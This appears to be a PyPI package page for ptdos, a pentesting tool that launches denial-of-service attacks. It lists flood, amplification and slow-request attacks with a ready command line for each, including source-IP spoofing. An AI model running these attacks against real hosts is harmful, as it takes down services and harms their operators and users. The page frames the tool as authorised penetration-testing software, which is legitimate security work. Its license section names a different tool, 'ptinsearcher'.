Skip to main content

Application ptdos is used for creation of DoS attacks. It is part of complex system Penterep Tools.

Project description

Python 3.10 Linux Linux OSX

penterepTools

ptdos

Application ptdos is used for creation of Denial of Service attacks. It is part of complex system Penterep Tools.

Implemented Denial of Service attacks

Flood DoS attacks

  • ICMP Flood
  • UDP Flood
  • SYN Flood
  • HTTP GET Flood
  • HTTP POST Flood
  • HTTP HEAD Flood

Logical DoS attacks

  • Ping of Death
  • Slowloris
  • R.U.D.Y. - Are You Down Yet?

Amplification DoS attacks

  • Smurf Attack
  • NTP Amplification

ptdos Installation

Software Requirements

  • Python 3.10+
  • hping3

OS Requirements

  • Kali Linux 2021.1+
  • Ubuntu 22.04+
  • macOS 12.3+

Lib requirements

  • ptlibs
  • requests
  • validators
  • impacket
  • setuptools

Installation using pip

$ sudo apt install python3-pip
$ sudo pip install ptdos
$ ptdos --help

Cloning source code from GitHub repository

Download ptdos source code, install packages from requirements and run main file ptdos.py

$ git clone https://github.com/FilipKam/ptdos
$ cd ptdos
$ sudo pip install -r requirements.txt
$ cd ptdos
$ python3 ptdos.py --help

Install hping3 for SYN Flood

$ sudo apt install hping3

Add to PATH

If you cannot invoke the script in your terminal, its probably because it is not in your PATH. Fix it by running commands below.

Add to path for BASH

echo "export PATH=\"`python3 -m site --user-base`/bin:\$PATH\"" >> ~/.bashrc
source ~/.bashrc

Add to path for ZSH

echo "export PATH=\"`python3 -m site --user-base`/bin:\$PATH\"" >> ~/.zshhrc
source ~/.zshhrc

Getting started using the ptdos

Usage examples

SYN Flood

$ sudo ptdos -a synflood -dst 192.168.0.80 -dp 80 -d 10 -ss

UDP Flood

$ ptdos -a udpflood -dst 192.168.0.80 -dp 80 -dl 128 -d 4 -st 0.001

HTTP GET Flood

$ ptdos -a httpgetflood -d 5 -dst "http://192.168.0.80/test/test" -st 0.001

HTTP POST Flood

$ ptdos -a httppostflood -d 5 -dst "http://ptsv2.com/path/example" -body "{'name':'test','age':20}" -qs "par1=val1&par2=val2" -st 0.001

HTTP HEAD Flood

$ ptdos -a httpheadflood -d 5 -dst "http://192.168.0.80/test/test" -st 0.001

ICMP Flood

$ sudo ptdos -a icmpflood -dst 192.168.0.213 -d 4 --data-length 2048 -st 0.001

Smurf Attack

$ sudo ptdos -a smurf -d 10 -dst 192.168.0.80 -bc 192.168.0.255

Ping of Death

$ sudo ptdos -a pingofdeath -d 5 -dst 192.168.0.80

NTP Amplification

$ sudo ptdos -a ntpampl -dst 192.168.0.80 -d 5

Slowloris

$ ptdos -a slowloris -d 5 -dst "http://192.168.0.80" -dp 80 -sq 10 -st 5

R.U.D.Y. - Are You Dead Yet?

$ ptdos -a rudy -dst "http://192.168.0.80" -dp 80 -d 5 -st 10

Options

Not all options can be used with every attack. Check the help for each attack by running ptdos.py -h.

-a      --attack            Attack name
-d      --duration          Specify attack's duration in seconds. Default 10 seconds.
-dst    --destination       Specify destination IP, domain or url
-dp     --dstport           Specify destination port. Default 80.
-dl     --data-length       Include len random bytes as payload. Default 1024 bytes.
-ss     --spoof-source      Spoof source IP address and port with fake values
-bc     --broadcast         Specify broadcast IP address for attack amplification
-sq     --socksquant        Number of concurrent sockets opened
-st     --sleep-time        Sleep time between packets in seconds. Default 0 seconds.
-body   --body              Specify body of the request
-qs     --query-string      Specify query string of the request like "par1=val1&par2=val2"
-j      --json              Make JSON output
-v      --version           Show script version and exit
-h      --help              Show help message and exit

Issues?

Version History

  • 0.1 - first public release as master thesis project

License

Copyright (c) 2022 HACKER Consulting s.r.o.

ptinsearcher is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

ptinsearcher is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with ptinsearcher. If not, see https://www.gnu.org/licenses/.

Warning

You are only allowed to run the tool against the websites which you have been given permission to pentest. We do not accept any responsibility for any damage/harm that this application causes to your computer, or your network. Penterep is not responsible for any illegal or malicious use of this code. Be Ethical!

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

ptdos-0.1.tar.gz (35.2 kB view details)

Uploaded Source

Built Distribution

ptdos-0.1-py3-none-any.whl (50.4 kB view details)

Uploaded Python 3

File details

Details for the file ptdos-0.1.tar.gz.

File metadata

  • Download URL: ptdos-0.1.tar.gz
  • Upload date:
  • Size: 35.2 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.7.1 importlib_metadata/4.6.4 pkginfo/1.8.2 requests/2.27.1 requests-toolbelt/0.9.1 tqdm/4.57.0 CPython/3.9.12

File hashes

Hashes for ptdos-0.1.tar.gz
Algorithm Hash digest
SHA256 2c3d996236eb740bbc253f52c14183a1a1d2ddebdaee16706ede1c95c778d641
MD5 4e6a321f372801c5dec75c0b7f6a2ac6
BLAKE2b-256 e77df9142718fc112acc26f1907e25abbec8732fdc964d1bc5822ee5ca6c8c97

See more details on using hashes here.

File details

Details for the file ptdos-0.1-py3-none-any.whl.

File metadata

  • Download URL: ptdos-0.1-py3-none-any.whl
  • Upload date:
  • Size: 50.4 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.7.1 importlib_metadata/4.6.4 pkginfo/1.8.2 requests/2.27.1 requests-toolbelt/0.9.1 tqdm/4.57.0 CPython/3.9.12

File hashes

Hashes for ptdos-0.1-py3-none-any.whl
Algorithm Hash digest
SHA256 83ca7d5a568bc378a05fb40913265ea7d4497c7bab69f4f6d9d231f5b2ffd677
MD5 2f68f0355bf933c5f90003988042ef26
BLAKE2b-256 959ac36a6e5858c9e921da56fc5447ec403d264818d2ef3a67748d0cf93a6fed

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page